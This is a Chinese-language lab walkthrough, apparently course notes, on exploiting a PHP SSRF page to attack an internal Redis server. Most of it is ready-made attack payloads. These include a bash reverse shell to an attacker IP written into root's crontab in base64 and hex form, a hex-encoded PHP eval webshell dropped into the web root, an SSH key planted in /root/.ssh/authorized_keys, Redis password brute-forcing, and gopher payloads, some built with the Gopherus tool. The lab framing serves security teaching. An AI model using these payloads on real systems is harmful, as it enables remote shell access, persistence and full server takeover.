SSRF对Redis进行内网渗透
一 环境搭建
- 准备一台服务器,开启lampp和redis,redis只允许内网访问

- 使用kali进行端口扫描,扫不到6379

- 使用kali连接redis,也连不上

- ssrf漏洞代码
<?php
$url = $_GET['url'];
// 创建一个cURL资源
$ch = curl_init();
// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
// 抓取URL并把它传递给浏览器
curl_exec($ch);
// 关闭cURL资源,并且释放系统资源
curl_close($ch);
?>
二 端口探测
http
http://192.168.2.26/ssrf2.php?url=http://127.0.0.1:6379
dict
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379

三 基于dict协议操作redis
1 查询所有的键
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/keys:*

2 查询某个键的值
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/get:name

3 向redis中写数据
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/set:age:20

http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/get:age
四 基于dict协议getshell
1 反弹shell
- base64编码反弹shell
#bash反弹
bash -i >& /dev/tcp/192.168.2.32/5555 0>&1
#base64编码
YmFzaCAgLWkgID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4zMi81NTU1ICAwPiYx
#向redis中写入反弹shell
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/set:k:"\n\n*/1 * * * * echo 'YmFzaCAgLWkgID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4zMi81NTU1ICAwPiYx'|base64 -d|bash\n\n"
#修改redis日志文件路径
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
#修改redis日志文件的名称
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/config:set:dbfilename:root
#进行日志持久化
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/save
kali开启监听
nc -lvnp 5555

- 十六进制编码反弹shell
#bash反弹
bash -i >& /dev/tcp/192.168.2.32/5555 0>&1
对bash反弹进行十六进制编码

构建payload
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/set:k:"\n\n*/1 * * * * \x62\x61\x73\x68\x20\x20\x2d\x69\x20\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x2e\x33\x32\x2f\x35\x35\x35\x35\x20\x20\x30\x3e\x26\x31\n\n"
十六进制编码必须使用双引号包裹
#修改redis日志文件路径
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
#修改redis日志文件的名称
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/config:set:dbfilename:root
#进行日志持久化
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/save
2 写一句话木马
对一句话木马进行十六进制编码

http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/set:k:"\n\n\x3c\x3f\x70\x68\x70\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x30\x5d\x29\x3b\x3f\x3e\n\n"
修改redis日志文件路径
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/config:set:dir:/opt/lampp/htdocs
修改redis日志文件名称
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/config:set:dbfilename:shell73.php
持久化
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/save
3 写入公钥
1)在靶机的用户主目录创建.ssh文件夹
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/set:k:"\n\n*/1 * * * * mkdir /root/.ssh\n\n"
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/config:set:dbfilename:root
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/save
2)在kali上生成公私钥
ssh-keygen
3)向靶机写入公钥
公钥中存在特殊符号,比如+,在写入靶机是,会被转义,可以对特殊符号进行url编码绕过转义,+对应的编码是%2b
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/set:k:"\n\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBPUrH9xVD4/fJdM8HXx6Nevf98B0UGkrIEaW0AKDqz%2b root@kali\n\n"
还可以通过对公钥进行十六进制编码来绕过转义
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/set:k:"\n\n\x73\x73\x68\x2d\x65\x64\x32\x35\x35\x31\x39\x20\x41\x41\x41\x41\x43\x33\x4e\x7a\x61\x43\x31\x6c\x5a\x44\x49\x31\x4e\x54\x45\x35\x41\x41\x41\x41\x49\x42\x50\x55\x72\x48\x39\x78\x56\x44\x34\x2f\x66\x4a\x64\x4d\x38\x48\x58\x78\x36\x4e\x65\x76\x66\x39\x38\x42\x30\x55\x47\x6b\x72\x49\x45\x61\x57\x30\x41\x4b\x44\x71\x7a\x2b\x20\x72\x6f\x6f\x74\x40\x6b\x61\x6c\x69\n\n"
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/config:set:dir:/root/.ssh
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/config:set:dbfilename:authorized_keys
http://192.168.2.26/ssrf2.php?url=dict://127.0.0.1:6379/save

五 基于dict协议爆破redis密码
1 给redis设置密码

2 访问redis需要身份认证

3 爆破redis密码
手工爆破密码

burp爆破密码

六 Redis的通信格式
1 环境
1 开启redis的远程访问
2 给redis设置密码
3 启动redis服务
4 网络模式改成NAT
2 kali连上redis
┌──(root㉿kali)-[~]
└─# redis-cli -h 192.168.2.26
192.168.2.26:6379>
3 使用Wireshark抓包
登录redis
┌──(root㉿kali)-[~]
└─# redis-cli -h 192.168.242.131
192.168.242.131:6379> auth 123456
OK
*2 命令中单词的数量
$4 单词的长度
auth
$6 单词的长度
123456
向redis中写数据
192.168.242.131:6379> set name woniuxy
OK
*3
$3
set
$4
name
$7
woniuxy
查询redis的数据
192.168.242.131:6379> get name
"woniuxy"
*2
$3
get
$4
name
七 基于gopher协议操作redis
1 gopher简介
gopher协议(信息查找协议),一般用来攻击redis,mysql等服务。其利用的数据格式 gopher://ip:端口/_数据
,数据的前面需要有_,数据一般需要进行url编码。
2 gopher跟dict的区别
dict协议只支持单条命令,而gopher协议支持批量命令。比如针对redis操作,当redis有密码时,dict无能为力,而gopher可以很好的完成。
3 实验
1)把数据整理成一行
*2\r\n$4\r\nauth\r\n$6\r\n123456\r\n*3\r\n$3\r\nset\r\n$4\r\nname\r\n$7\r\nwoniuxy\r\n
2)对数据进行url编码
注意,不能使用浏览器进行编码,可以使用AI或python代码进行url编码
%2A2%0D%0A%244%0D%0Aauth%0D%0A%246%0D%0A123456%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0Aname%0D%0A%247%0D%0Awoniuxy%0D%0A
3)在使用浏览器进行二次url编码

%25%32%41%32%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%61%75%74%68%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%31%32%33%34%35%36%25%30%44%25%30%41%25%32%41%33%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%6e%61%6d%65%25%30%44%25%30%41%25%32%34%37%25%30%44%25%30%41%77%6f%6e%69%75%78%79%25%30%44%25%30%41
4)写入数据
http://192.168.242.131/ssrf_1.php?url=gopher://127.0.0.1:6379/_%25%32%41%32%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%61%75%74%68%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%31%32%33%34%35%36%25%30%44%25%30%41%25%32%41%33%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%6e%61%6d%65%25%30%44%25%30%41%25%32%34%37%25%30%44%25%30%41%77%6f%6e%69%75%78%79%25%30%44%25%30%41
最终数据被成功写入redis
八 使用gopherus工具生成Payload
1、在kali上安装Gopherus
1 下载pip安装程序:
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip2.py
2 安装pip
python2 get-pip2.py
3 在 https://github.com/tarunkant/Gopherus 上下载 zip 文件并上传至Kali上解压
4 授予install.sh可执行权限,并且执行install.sh,完成gopherus的安装
2、使用Gopherus
gopherus --exploit redis 按照提示输入相应参数,生成Redis的Payload

在浏览器中,对payload进行URL转码,并发送请求,将完成木马植入,但是Gopherus并没有考虑Redis需要登录的情况。
